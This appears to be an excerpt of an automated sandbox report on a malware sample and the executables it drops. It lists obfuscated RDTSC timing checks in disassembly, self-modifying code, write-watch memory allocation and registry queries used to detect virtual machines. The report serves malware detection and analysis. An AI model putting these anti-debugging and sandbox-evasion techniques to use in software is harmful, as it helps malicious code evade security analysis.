Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940344 second address: 4940348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940348 second address: 494035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FDE34EACA67h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx edx, si 0x00000014 mov ah, 9Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494035F second address: 4940391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE34C00CE7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49404A8 second address: 494050D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov di, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c cmp dword ptr [ebp-14h], edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDE34EAC86Fh 0x00000018 or ax, F89Eh 0x0000001d jmp 00007FDE34EAC879h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FDE34EAC870h 0x00000029 add eax, 74969A98h 0x0000002f jmp 00007FDE34EAC86Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494050D second address: 4940513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940513 second address: 4940517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940517 second address: 494051B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494051B second address: 49405A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FDEA6ECA7DEh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDE34EAC86Dh 0x00000015 add eax, 7E909036h 0x0000001b jmp 00007FDE34EAC871h 0x00000020 popfd 0x00000021 push esi 0x00000022 mov di, D772h 0x00000026 pop ebx 0x00000027 popad 0x00000028 mov ebx, dword ptr [ebp+08h] 0x0000002b pushad 0x0000002c jmp 00007FDE34EAC874h 0x00000031 movzx eax, dx 0x00000034 popad 0x00000035 lea eax, dword ptr [ebp-2Ch] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007FDE34EAC876h 0x00000041 xor cl, FFFFFFE8h 0x00000044 jmp 00007FDE34EAC86Bh 0x00000049 popfd 0x0000004a movzx esi, bx 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49405A3 second address: 49405B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE34C00CE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49405B8 second address: 49405D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49405D6 second address: 49405DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49405DA second address: 49405E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49405E0 second address: 49405F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE34C00CE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49405F5 second address: 494061B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE34EAC86Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494061B second address: 494063C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34C00CE1h 0x00000008 mov bx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494063C second address: 494064B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494064B second address: 494066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494066F second address: 4940673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940673 second address: 4940677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940677 second address: 494067D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494067D second address: 49406A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDE34C00CDBh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49406A6 second address: 49406AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49406AC second address: 49406B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49406B2 second address: 49406B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49406B6 second address: 49406D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FDE34C00CE0h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 mov ah, 38h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49406D8 second address: 494070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC874h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC877h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494070A second address: 4940710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940710 second address: 4940714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940061 second address: 4940067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940067 second address: 49400A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE34EAC86Ch 0x00000009 jmp 00007FDE34EAC875h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov bx, cx 0x0000001a mov eax, 2553F235h 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49400A5 second address: 49400AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49400AB second address: 49400B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49400B1 second address: 49400B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49400B5 second address: 49400EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FDE34EAC86Bh 0x00000011 xchg eax, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDE34EAC870h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49400EA second address: 49400F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940136 second address: 494013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494013A second address: 4940140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940140 second address: 4940146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940146 second address: 494014A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940B38 second address: 4940B61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FDE34EAC874h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940B61 second address: 4940BD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d mov esi, 439F71EDh 0x00000012 mov bx, si 0x00000015 popad 0x00000016 cmp dword ptr [769B459Ch], 05h 0x0000001d jmp 00007FDE34C00CE4h 0x00000022 je 00007FDEA6C0EB3Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ax, dx 0x0000002e pushfd 0x0000002f jmp 00007FDE34C00CE9h 0x00000034 and eax, 18AA0B56h 0x0000003a jmp 00007FDE34C00CE1h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940BD8 second address: 4940BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940BDE second address: 4940BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940DA8 second address: 4940E0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FDE34EAC869h 0x0000000e jmp 00007FDE34EAC86Eh 0x00000013 push eax 0x00000014 jmp 00007FDE34EAC86Bh 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d jmp 00007FDE34EAC879h 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDE34EAC86Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940E0D second address: 4940E87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE34C00CE1h 0x00000009 or eax, 5247EFF6h 0x0000000f jmp 00007FDE34C00CE1h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FDE34C00CE0h 0x0000001b add ax, 6918h 0x00000020 jmp 00007FDE34C00CDBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d pushad 0x0000002e movsx edi, ax 0x00000031 mov di, si 0x00000034 popad 0x00000035 pop eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FDE34C00CE9h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940E87 second address: 4940EC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FDEA6EC153Ch 0x0000000e push 76952B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [769B4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 jmp 00007FDE34EAC86Eh 0x00000058 sub esi, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FDE34EAC873h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940EC8 second address: 4940EE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940EE5 second address: 4940EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940EEB second address: 4940EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940F22 second address: 4940F28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940F28 second address: 4940F8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e call 00007FDE34C00CE0h 0x00000013 pushfd 0x00000014 jmp 00007FDE34C00CE2h 0x00000019 jmp 00007FDE34C00CE5h 0x0000001e popfd 0x0000001f pop esi 0x00000020 mov ch, dh 0x00000022 popad 0x00000023 je 00007FDEA6C046E8h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FDE34C00CDFh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950A78 second address: 4950B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDE34EAC874h 0x0000000a add cx, F3E8h 0x0000000f jmp 00007FDE34EAC86Bh 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007FDE34EAC879h 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FDE34EAC86Ch 0x00000025 and eax, 25EA1178h 0x0000002b jmp 00007FDE34EAC86Bh 0x00000030 popfd 0x00000031 jmp 00007FDE34EAC878h 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FDE34EAC86Eh 0x00000040 and si, BB08h 0x00000045 jmp 00007FDE34EAC86Bh 0x0000004a popfd 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FDE34EAC876h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950B33 second address: 4950B59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDE34C00CDAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950B59 second address: 4950B68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950B68 second address: 4950B7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 2315BBD1h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movzx ecx, dx 0x00000012 push edi 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950B7D second address: 4950B9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov ecx, 64E40B1Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDE34EAC86Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950B9C second address: 4950BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950BA0 second address: 4950BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950BA6 second address: 4950BD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, ax 0x00000012 jmp 00007FDE34C00CE6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950BD8 second address: 4950C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE34EAC871h 0x00000009 or ecx, 1F7B8506h 0x0000000f jmp 00007FDE34EAC871h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c pushad 0x0000001d mov edi, eax 0x0000001f movzx esi, di 0x00000022 popad 0x00000023 je 00007FDEA6EAA00Ah 0x00000029 jmp 00007FDE34EAC877h 0x0000002e cmp dword ptr [769B459Ch], 05h 0x00000035 jmp 00007FDE34EAC876h 0x0000003a je 00007FDEA6EC20B0h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950C59 second address: 4950C76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950C76 second address: 4950C91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ebx, 11A52DB0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34EAC86Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950C91 second address: 4950C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950CD0 second address: 4950CED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 213DA5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 43272B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Special instruction interceptor: First address: 45EA5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Special instruction interceptor: First address: 45EB64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Special instruction interceptor: First address: 5F6512 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Special instruction interceptor: First address: 61A778 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Special instruction interceptor: First address: 6045FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Special instruction interceptor: First address: 6798A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Special instruction interceptor: First address: E31B5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Special instruction interceptor: First address: E2F4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Special instruction interceptor: First address: FFB54A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 7AEA5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 7AEB64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 946512 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 96A778 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 9545FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Special instruction interceptor: First address: 105DD29 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Special instruction interceptor: First address: 99DBB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Special instruction interceptor: First address: 99DB0F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Special instruction interceptor: First address: B51432 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 9C98A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Special instruction interceptor: First address: BD0CE0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Special instruction interceptor: First address: 503DA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Special instruction interceptor: First address: 72272B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Special instruction interceptor: First address: 9A1B5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Special instruction interceptor: First address: 99F4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Special instruction interceptor: First address: B6B54A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Special instruction interceptor: First address: BCDD29 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Memory allocated: 49A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Memory allocated: 4B80000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Memory allocated: 6B80000 memory reserve | memory write watch Jump to behavior
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
